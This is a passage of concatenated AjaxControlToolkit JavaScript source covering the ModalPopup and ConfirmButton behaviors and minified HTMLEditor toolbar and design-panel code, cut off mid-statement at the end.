        /// The number of pixels from the left of the browser to position the modal popup.
        /// </value>
        return this._xCoordinate;
    },
    set_X: function(value) {
        if (this._xCoordinate != value) {
            this._xCoordinate = value;
            this.raisePropertyChanged('X');
        }
    },

    get_Y: function() {
        /// <value type="Number" integer="true">
        /// The number of pixels from the top of the browser to position the modal popup.
        /// </value>
        return this._yCoordinate;
    },
    set_Y: function(value) {
        if (this._yCoordinate != value) {
            this._yCoordinate = value;
            this.raisePropertyChanged('Y');
        }
    },

    get_PopupDragHandleControlID: function() {
        /// <value type="String">
        /// The ID of the element to display as the drag handle for the modal popup
        /// </value>
        return this._PopupDragHandleControlID;
    },
    set_PopupDragHandleControlID: function(value) {
        if (this._PopupDragHandleControlID != value) {
            this._PopupDragHandleControlID = value;
            this.raisePropertyChanged('PopupDragHandleControlID');
        }
    },

    get_BackgroundCssClass: function() {
        /// <value type="String">
        /// The CSS class to apply to the background when the modal popup is displayed
        /// </value>
        return this._BackgroundCssClass;
    },
    set_BackgroundCssClass: function(value) {
        if (this._BackgroundCssClass != value) {
            this._BackgroundCssClass = value;
            this.raisePropertyChanged('BackgroundCssClass');
        }
    },

    get_DropShadow: function() {
        /// <value type="Boolean">
        /// Whether or not a drop-shadow should be added to the modal popup
        /// </value>
        return this._DropShadow;
    },
    set_DropShadow: function(value) {
        if (this._DropShadow != value) {
            this._DropShadow = value;
            this.raisePropertyChanged('DropShadow');
        }
    },

    get_Drag: function() {
        /// <value type="Boolean">
        /// Obsolete: Setting the _Drag property is a noop
        /// </value>
        return this._Drag;
    },
    set_Drag: function(value) {
        if (this._Drag != value) {
            this._Drag = value;
            this.raisePropertyChanged('Drag');
        }
    },

    get_OkControlID: function() {
        /// <value type="String">
        /// The ID of the element that dismisses the modal popup
        /// </value>
        return this._OkControlID;
    },
    set_OkControlID: function(value) {
        if (this._OkControlID != value) {
            this._OkControlID = value;
            this.raisePropertyChanged('OkControlID');
        }
    },

    get_CancelControlID: function() {
        /// <value type="String">
        /// The ID of the element that cancels the modal popup
        /// </value>
        return this._CancelControlID;
    },
    set_CancelControlID: function(value) {
        if (this._CancelControlID != value) {
            this._CancelControlID = value;
            this.raisePropertyChanged('CancelControlID');
        }
    },

    get_OnOkScript: function() {
        /// <value type="String">
        /// Script to run when the modal popup is dismissed with the OkControlID
        /// </value>
        return this._OnOkScript;
    },
    set_OnOkScript: function(value) {
        if (this._OnOkScript != value) {
            this._OnOkScript = value;
            this.raisePropertyChanged('OnOkScript');
        }
    },

    get_OnCancelScript: function() {
        /// <value type="String">
        /// Script to run when the modal popup is dismissed with the CancelControlID
        /// </value>
        return this._OnCancelScript;
    },
    set_OnCancelScript: function(value) {
        if (this._OnCancelScript != value) {
            this._OnCancelScript = value;
            this.raisePropertyChanged('OnCancelScript');
        }
    },

    get_repositionMode: function() {
        /// <value type="AjaxControlToolkit.ModalPopupRepositionMode">
        /// Determines if the ModalPopup should be repositioned on window resize/scroll
        /// </value>
        return this._repositionMode;
    },
    set_repositionMode: function(value) {
        if (this._repositionMode !== value) {
            this._repositionMode = value;
            this.raisePropertyChanged('RepositionMode');
        }
    },

    add_showing: function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('showing', handler);
    },
    remove_showing: function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('showing', handler);
    },
    raiseShowing: function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_shown: function(handler) {
        /// <summary>
        /// Add an event handler for the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('shown', handler);
    },
    remove_shown: function(handler) {
        /// <summary>
        /// Remove an event handler from the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('shown', handler);
    },
    raiseShown: function(eventArgs) {
        /// <summary>
        /// Raise the shown event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the shown event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('shown');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hiding: function(handler) {
        /// <summary>
        /// Add an event handler for the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hiding', handler);
    },
    remove_hiding: function(handler) {
        /// <summary>
        /// Remove an event handler from the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hiding', handler);
    },
    raiseHiding: function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hidden: function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hidden', handler);
    },
    remove_hidden: function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hidden', handler);
    },
    raiseHidden: function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hidden');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.ModalPopupBehavior.registerClass('AjaxControlToolkit.ModalPopupBehavior', AjaxControlToolkit.DynamicPopulateBehaviorBase);

AjaxControlToolkit.ModalPopupBehavior.invokeViaServer = function(behaviorID, show) {
    /// <summary>
    /// This static function (that is intended to be called from script emitted
    /// on the server) will show or hide the behavior associated with behaviorID
    /// (i.e. to use this, the ModalPopupExtender must have an ID or BehaviorID) and
    /// will either show or hide depending on the show parameter.
    /// </summary>
    /// <param name="behaviorID" type="String">
    /// ID of the modal popup behavior
    /// </param>
    /// <param name="show" type="Boolean">
    /// Whether to show or hide the modal popup
    /// </param>
    var behavior = $find(behaviorID);
    if (behavior) {
        if (show) {
            behavior.show();
        } else {
            behavior.hide();
        }
    }
}
16// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ConfirmButtonHiddenEventArgs = function(confirmed) {
    /// <summary>
    /// Event arguments used when the hidden event is raised
    /// </summary>
    /// <param name="confirmed" type="Boolean" mayBeNull="false">
    /// Whether or not the user confirmed the prompt
    /// </param>
    AjaxControlToolkit.ConfirmButtonHiddenEventArgs.initializeBase(this);
    
    this._confirmed = confirmed;
}
AjaxControlToolkit.ConfirmButtonHiddenEventArgs.prototype = {
    get_confirmed : function()  {
        /// <value type="Boolean" mayBeNull="false">
        /// Whether or not the user confirmed the prompt
        /// </value>
        return this._confirmed;
    }
}
AjaxControlToolkit.ConfirmButtonHiddenEventArgs.registerClass('AjaxControlToolkit.ConfirmButtonHiddenEventArgs', Sys.EventArgs);


AjaxControlToolkit.ConfirmButtonBehavior = function(element) {
    /// <summary>
    /// The ConfirmButtonBehavior extends buttons by providing a confirmation dialog when clicked
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// Button the behavior is associated with
    /// </param>
    AjaxControlToolkit.ConfirmButtonBehavior.initializeBase(this, [element]);

    // Confirm text
    this._ConfirmTextValue = null;

    // Cancel value
    this._OnClientCancelValue = null;

    // Confirm on form submit
    this._ConfirmOnFormSubmit = false;

    // ModalPopup to use instead of window.confirm
    this._displayModalPopupID = null;

    // Script to call to initiate a postback
    this._postBackScript = null;

    // Click handler for the target control
    this._clickHandler = null;
    
    this._oldScript = null;
}
AjaxControlToolkit.ConfirmButtonBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.ConfirmButtonBehavior.callBaseMethod(this, 'initialize');
        var element = this.get_element();

        // Attach the handler
        this._clickHandler = Function.createDelegate(this, this._onClick);
        $addHandler(element, "click", this._clickHandler);
        
        // hoist out any existing script
        //
        this._oldScript = element.getAttribute("onclick");
        if (this._oldScript) {            
            element.setAttribute("onclick", null);            
        }

        // Hook into the ASP.NET WebForm_OnSubmit function to display the confirm dialog prior to submission
        if (this._ConfirmOnFormSubmit && (typeof(WebForm_OnSubmit) == 'function') && !AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit) {
            if (AjaxControlToolkit.TextBoxWatermarkBehavior && AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit) {
                // If TextBoxWatermark has already hooked the WebForm_OnSubmit, we want to run before it so the watermark removal is always last to run
                AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit = AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit;
                AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit = AjaxControlToolkit.ConfirmButtonBehavior.WebForm_OnSubmit;
            } else {
                // Hook WebForm_OnSubmit normally
                AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit = WebForm_OnSubmit;
                WebForm_OnSubmit = AjaxControlToolkit.ConfirmButtonBehavior.WebForm_OnSubmit;
            }
        }
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        // Detach event handlers
        if (this._clickHandler) {
            $removeHandler(this.get_element(), "click", this._clickHandler);
            this._clickHandler = null;
        }
        
        if (this._oldScript) {
            this.get_element().setAttribute("onclick", this._oldScript);
            this._oldScript = null;
        }

        AjaxControlToolkit.ConfirmButtonBehavior.callBaseMethod(this, 'dispose');
    },

    _onClick : function(e) {
        /// <summary>
        /// Button's click handler to display the confirmation dialog
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        if (this.get_element() && !this.get_element().disabled) {
            if (this._ConfirmOnFormSubmit) {
                // Note that this behavior was triggered (for later)
                AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior = this;
            } else {
                // Display the dialog and cancel the click if necessary
                if (!this._displayConfirmDialog()) {
                    e.preventDefault();
                    return false;
                }
                else if (this._oldScript) {
                    
                    if (String.isInstanceOfType(this._oldScript)) {
                        eval(this._oldScript);
                    }
                    else if (typeof(this._oldScript) == 'function'){
                        this._oldScript();                        
                    }   
                }
            }
        }
    },

    _displayConfirmDialog : function() {
        /// <summary>
        /// Handle the completion of a confirm dialog (whether by window.confirm or ModalPopupBehavior)
        /// </summary>
        /// <value type="Boolean">
        /// Result of the confirm dialog or false to cancel
        /// </value>

        // Raise the showing event and potentially cancel
        var eventArgs = new Sys.CancelEventArgs();
        this.raiseShowing(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }

        if(this._displayModalPopupID) {
            // Using a ModalPopupBehavior instead of window.confirm
            var mpe = $find(this._displayModalPopupID);
            if (!mpe) {
                throw Error.argument('displayModalPopupID', String.format(AjaxControlToolkit.Resources.CollapsiblePanel_NoControlID, this._displayModalPopupID));
            }
            // Hook into ModalPopupBehavior for the confirm result
            mpe.set_OnOkScript("$find('"+this.get_id()+"')._handleConfirmDialogCompletion(true);");
            mpe.set_OnCancelScript("$find('"+this.get_id()+"')._handleConfirmDialogCompletion(false);");
            // Show the ModalPopupBehavior
            mpe.show();
            // Cancel postback since ModalPopupBehavior.show is asynchronous - _handleConfirmDialogCompletion will handle the result
            return false;
        } else {
            // Display window.confirm dialog
            var result = window.confirm(this._ConfirmTextValue);
            this._handleConfirmDialogCompletion(result);
            return result;
        }
    },

    _handleConfirmDialogCompletion : function(result) {
        /// <summary>
        /// Handle the completion of a confirm dialog (whether by window.confirm or ModalPopupBehavior)
        /// </summary>
        /// <param name="result" type="Boolean">
        /// Result of the confirm dialog
        /// </param>
        this.raiseHidden(new AjaxControlToolkit.ConfirmButtonHiddenEventArgs(result));
        if (result) {
            // Confirmed - Initiate the postback if specified
            if (this._postBackScript ) {
                eval(this._postBackScript);
            }
        } else {
            // Rejected - Execute the associated script if present
            if (this._OnClientCancelValue) {
                window[this._OnClientCancelValue]();
            }
        }
    },

    get_OnClientCancel : function (){
        /// <value type="String">
        /// The client-side script that executes when the cancel button is clicked on the confirm dialog.
        /// </value>
      return this._OnClientCancelValue;
    },
    set_OnClientCancel : function (value) {
        if (this._OnClientCancelValue != value) {
            this._OnClientCancelValue = value;
            this.raisePropertyChanged('OnClientCancel'); 
        }
    },

    get_ConfirmText : function() {
        /// <value type="String">
        /// The text to show when you want to confirm the click. (Note: HTML entities can be used here (ex: "&#10;" for new-line))
        /// </value>
        return this._ConfirmTextValue;
    },
    set_ConfirmText : function(value) {
        if (this._ConfirmTextValue != value) {
            this._ConfirmTextValue = value;
            this.raisePropertyChanged('ConfirmText');
        }
    },

    get_ConfirmOnFormSubmit : function() {
        /// <value type="Boolean">
        /// True iff the confirm dialog should run for form submission (i.e., after validators are all satisfied)
        /// </value>
        return this._ConfirmOnFormSubmit;
    },
    set_ConfirmOnFormSubmit : function(value) {
        if (this._ConfirmOnFormSubmit != value) {
            this._ConfirmOnFormSubmit = value;
            this.raisePropertyChanged('ConfirmOnFormSubmit');
        }
    },

    get_displayModalPopupID : function() {
        /// <value type="String">
        /// ID of a ModalPopupBehavior to be used instead of the default window.confirm dialog
        /// </value>
        return this._displayModalPopupID;
    },
    set_displayModalPopupID : function(value) {
        if (this._displayModalPopupID != value) {
            this._displayModalPopupID = value;
            this.raisePropertyChanged('displayModalPopupID');
        }
    },

    get_postBackScript : function() {
        /// <value type="String">
        /// Script to run to initiate a postback
        /// </value>
        return this._postBackScript;
    },
    set_postBackScript : function(value) {
        if (this._postBackScript != value) {
            this._postBackScript = value;
            this.raisePropertyChanged('postBackScript');
        }
    },

    add_showing : function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('showing', handler);
    },
    remove_showing : function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('showing', handler);
    },
    raiseShowing : function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_hidden : function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hidden', handler);
    },
    remove_hidden : function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hidden', handler);
    },
    raiseHidden : function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.ConfirmButtonHiddenEventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hidden');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.ConfirmButtonBehavior.registerClass('AjaxControlToolkit.ConfirmButtonBehavior', AjaxControlToolkit.BehaviorBase);

AjaxControlToolkit.ConfirmButtonBehavior.WebForm_OnSubmit = function() {
    /// <summary>
    /// Wraps ASP.NET's WebForm_OnSubmit in order to display the confirm dialog prior to submission
    /// </summary>
    /// <returns type="Boolean">
    /// Result of original WebForm_OnSubmit
    /// </returns>
    var result = AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit();
    if (result && AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior) {
        result = AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior._displayConfirmDialog();
    }
    AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior = null;
    return result;
}
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.prototype={callMethod:function(){var b=false;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.callBaseMethod(this,"callMethod"))return b;var a=this._designPanel;setTimeout(function(){var s="function",w="size",v="face",u="color",t="class",l="_right_",k="_left_",h=true,c=null,d="",O=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):d,q=a._getSelection(),o=a._createRange(q),f=c,J=b;if(!a.isControl()&&(AjaxControlToolkit.HTMLEditor.isIE&&o.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&O.length>0))f=a._getTextNodeCollection();else{f=a._tryExpand();J=h}if(f!=c&&f.length>0){var K=b,C=h,R=c;a._saveContent();var m=a._doc.createElement("span");m.id=k;var j=a._doc.createElement("span");j.id=l;var P=f[0].parentNode,N=f[f.length-1].parentNode;P.insertBefore(m,f[0]);if(f[f.length-1].nextSibling)N.insertBefore(j,f[f.length-1].nextSibling);else N.appendChild(j);while(C){C=b;for(var n=0;n<f.length;n++){var g=f[n].parentNode;if(g)if(f[n].previousSibling==c&&f[n].nextSibling==c){var z=g.tagName.toUpperCase();if(AjaxControlToolkit.HTMLEditor.isStyleTag(z)&&z!="A"&&(g.className!=AjaxControlToolkit.HTMLEditor.smartClassName||z.substr(0,1)=="H")){var D=AjaxControlToolkit.HTMLEditor.differAttr(g,[t,u,v,w]);K=h;if(D.length==0){var x=g.parentNode,r=g.firstChild?g.firstChild:c,F=c;if(z.toUpperCase().substr(0,1)=="H"&&AjaxControlToolkit.HTMLEditor.isIE){F=a._doc.createElement("p");F.className=AjaxControlToolkit.HTMLEditor.smartClassName;x.insertBefore(F,g);while(g.firstChild)F.appendChild(g.firstChild)}else{while(g.firstChild)x.insertBefore(g.firstChild,g);if(z.toUpperCase().substr(0,1)=="H"){var Q=a._doc.createElement("br");x.insertBefore(Q,g)}}x.removeChild(g);C=h}else{for(var x=g.parentNode,I=a._doc.createElement(z),E=0;E<D.length;E++)I.setAttribute(D[E][0],D[E][1]);x.insertBefore(I,g);while(g.firstChild)I.appendChild(g.firstChild);x.removeChild(g)}}}}}for(var n=0;n<f.length;n++){var r=f[n],i=f[n].parentNode!=c&&typeof f[n].parentNode!="undefined"?f[n].parentNode:c;if(i){var p=c;while(i&&i.tagName&&i.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(i.tagName)&&i.tagName.toUpperCase()!="A"&&AjaxControlToolkit.HTMLEditor.differAttr(i,[t,u,v,w]).length==0){p=i;i=i.parentNode}if(p){K=h;function H(f,e,g,h){var a=g.cloneNode(b);if(f)if(f.push&&typeof f.push==s)for(var j=0;j<f.length;j++)a.appendChild(f[j]);else a.appendChild(f);while(e){var q=h?e.previousSibling:e.nextSibling;if(e.nodeType==1||e.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(d+e.data+d).length>0){if(e.nodeType==1){AjaxControlToolkit.HTMLEditor.isStyleTag(e.tagName)&&e.tagName.toUpperCase()!="A"&&(!e.id||e.id!=k&&e.id!=l)&&AjaxControlToolkit.HTMLEditor.spanJoiner(e);if(AjaxControlToolkit.HTMLEditor.isStyleTag(e.tagName)&&e.childNodes.length==0&&(!e.id||e.id!=k&&e.id!=l))e=c}if(e)if(a.childNodes.length==0||!h)a.appendChild(e);else a.insertBefore(e,a.firstChild)}e=q}if(a.childNodes.length==0){delete a;a=c}else if(a.childNodes.length==1&&a.firstChild.nodeType==3&&(d+a.firstChild.data+d).length==0){delete a;a=c}else if(AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)){for(var n=a.childNodes.length,i=0;i<a.childNodes.length;i++){var m=a.childNodes.item(i);if(m.nodeType==1&&!AjaxControlToolkit.HTMLEditor.isStyleTag(m.tagName))n--}if(n==0){var o=[];while(a.firstChild){var m=a.removeChild(a.firstChild);o.push(m)}a=o}}if(g==p)return a;else return H(a,h?g.previousSibling:g.nextSibling,g.parentNode,h)}i=r.parentNode;if(r.previousSibling==c&&r.nextSibling==c&&i&&i.tagName&&i.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(i.tagName)&&AjaxControlToolkit.HTMLEditor.differAttr(i,[t,u,v,w]).length>0)r=i;var A=H(c,r.previousSibling,r.parentNode,h),B=H(c,r.nextSibling,r.parentNode,b),g=p.parentNode;if(A){if(A.push&&typeof A.push==s)for(var y=0;y<A.length;y++)g.insertBefore(A[y],p);else g.insertBefore(A,p);if(AjaxControlToolkit.HTMLEditor.isIE){m=a._doc.getElementById(k);j=a._doc.getElementById(l)}}g.insertBefore(r,p);if(B){if(B.push&&typeof B.push==s)for(var y=0;y<B.length;y++)g.insertBefore(B[y],p);else g.insertBefore(B,p);if(AjaxControlToolkit.HTMLEditor.isIE){m=a._doc.getElementById(k);j=a._doc.getElementById(l)}}g.removeChild(p)}}}if(J){if(AjaxControlToolkit.HTMLEditor.isIE&&a.__saveBM__!=c){try{var e=m.parentNode;e.removeChild(m);while(e&&e.childNodes.length==0){e.parentNode.removeChild(e);e=e.parentNode}e=j.parentNode;e.removeChild(j);while(e&&e.childNodes.length==0){e.parentNode.removeChild(e);e=e.parentNode}m=c;j=c}catch(S){}var q=a._getSelection(),o=a._createRange(q);o.moveToBookmark(a.__saveBM__);o.select();a.__saveBM__=c}else if(a.__saveBM__!=c){if(a.__saveBM__[0].nodeType==3){var q=a._getSelection(),o=a._doc.createRange();o.setStart(a.__saveBM__[0],a.__saveBM__[1]);o.setEnd(a.__saveBM__[0],a.__saveBM__[1]);a._removeAllRanges(q);a._selectRange(q,o)}else{a._trySelect(a.__saveBM__[0],a.__saveBM__[0]);a.__saveBM__[0].parentNode.removeChild(a.__saveBM__[0])}a.__saveBM__=c}}else if(!AjaxControlToolkit.HTMLEditor.isIE){f=[];var C=b;function M(a,e){while(a){if(a==j){C=h;return}if(a.nodeType==3){while(a.nextSibling&&a.nextSibling.nodeType==3){a.data=d+a.data+d+a.nextSibling.data+d;a.parentNode.removeChild(a.nextSibling)}AjaxControlToolkit.HTMLEditor.Trim(d+a.data+d).length>0&&f.push(a)}else M(a.firstChild,b);if(C)return;var g=a.parentNode;if(e)while(a&&a.nextSibling==c)a=a.parentNode;a=a.nextSibling}}M(m,h);o=a._doc.createRange();o.setStart(f[0],0);o.setEnd(f[f.length-1],(d+f[f.length-1].data+d).length);a._removeAllRanges(q);a._selectRange(q,o)}else try{q=a._getSelection();var G=a._createRange(q),L=a._createRange(q);G.moveToElementText(m);L.moveToElementText(j);G.setEndPoint("EndToEnd",L);G.select()}catch(S){}try{var e;if(m!=c){e=m.parentNode;e.removeChild(m);while(e&&e.childNodes.length==0){e.parentNode.removeChild(e);e=e.parentNode}}if(j!=c){e=j.parentNode;e.removeChild(j);while(e&&e.childNodes.length==0){e.parentNode.removeChild(e);e=e.parentNode}}}catch(S){}a.onContentChanged();a._editPanel.updateToolbar()}},0)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);-Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.callBaseMethod(this,"callMethod"))return false},setColor:function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.callBaseMethod(this,"setColor",[a]);this._designPanel._execCommand("backcolor",false,a)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector",AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector);VType.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.DesignPanelEventHandler=function(b){var Z="'></span>",R="<span id='",ib="StyleForTyping",Q="EMBED",P="BR",D="\n",O="text",N="span",k="",M="LI",x="P",H="undefined",w="BODY",C="control",hb="function",B="keypress",e=null,j="keydown",Y="mousedown",c=false,m=true,f=this;try{var a=f;if(a._editPanel!=AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel)return m;if(AjaxControlToolkit.HTMLEditor.isIE)try{var Db=f._doc.selection,Ib=f._createRange(Db)}catch(Lb){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}(b.type==Y||b.type=="dblclick")&&f._focus(m);if(!AjaxControlToolkit.HTMLEditor.isIE&&b.type==j&&b.keyCode==Sys.UI.Key.tab&&f._editPanel.get_suppressTabInDesignMode()){AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel=e;return m}if(f.isPopup()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}var gb=c;if(a._contextElement&&a._contextElement!=e){Function.createDelegate(f,AjaxControlToolkit.HTMLEditor.RemoveContextMenu)();if(b.type==j||b.type==B){AjaxControlToolkit.HTMLEditor._stopEvent(b);return}gb=m}if(typeof a.captureInDesign==hb)if(a.captureInDesign(b)===c){AjaxControlToolkit.HTMLEditor._stopEvent(b);return}if(AjaxControlToolkit.HTMLEditor.isIE&&b.type==Y&&b.ctrlKey){var l=a._getSelection(),zb=b.clientX,Ab=b.clientY;setTimeout(function(){var c=a._getSelection();if(c.type.toLowerCase()!=C){var d=a._doc.body.createTextRange();d.moveToPoint(zb,Ab);d.select()}c=a._getSelection();var d=a._createRange(c),b=AjaxControlToolkit.HTMLEditor.getSelParent(a);while(b!=e&&b.tagName.toUpperCase()!=w){if(b.tagName.toUpperCase()=="A"&&b.href!=e&&typeof b.href!=H&&b.href.length>0){window.open(b.href,"LinkViewWindow");break}b=b.parentNode}},0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}var h=!AjaxControlToolkit.HTMLEditor.isIE?b.target:b.srcElement;if(h.tagName!=e&&typeof h.tagName!=H&&(h.tagName.toUpperCase()=="HTML"||h.tagName.toUpperCase()==w)){if(a.__kkoka!=m){a.__kkoka=m;setTimeout(function(){if(a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel)if(!a.toEndOfProtected())try{a.focusEditor()}catch(b){}a.__kkoka=c},0)}}else AjaxControlToolkit.HTMLEditor.contentEditable(h)!=e&&setTimeout(function(){a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel&&a.toEndOfProtected()},0);if(gb&&AjaxControlToolkit.HTMLEditor.isIE){var ub=f._getSelection(),Ib;try{Ib=f._createRange(ub);if(ub.type.toLowerCase()==C){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}catch(Lb){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}var F=AjaxControlToolkit.HTMLEditor.isIE&&b.type==j||b.type==B,Kb=b.type+"--"+F;if(F&&!f._editPanel.get_keyboardEnabled()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}var p=String.fromCharCode(AjaxControlToolkit.HTMLEditor.isIE?b.keyCode:b.charCode).toLowerCase();if(F&&a._editPanel.get_hotkeys()!=e)if(a._editPanel.get_hotkeys().length>0){var Cb=a._editPanel.get_hotkeys().length,ob=p;if(b.keyCode==18||b.keyCode==17||b.keyCode==16)ob=e;for(var eb=0;eb<Cb;eb++){var G=a._editPanel.get_hotkeys()[eb];if(G[1]==ob&&G[2]==b.altKey&&G[3]==b.shiftKey&&G[4]==b.ctrlKey){typeof G[0]==hb&&setTimeout(function(){G[0](a);a.onContentChanged();a.focusEditor()},0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}}if(F&&b.shiftKey&&b.keyCode==45)f._commonPaste(b);else if(F&&b.ctrlKey&&b.altKey&&b.keyCode==Sys.UI.Key.home){var V=e,h=AjaxControlToolkit.HTMLEditor.getSelParent(a);while(h&&(h.nodeType==3||h.tagName&&h.tagName.toUpperCase()!=w)){if(h.nodeType==3||!h.tagName){h=h.parentNode;continue}var 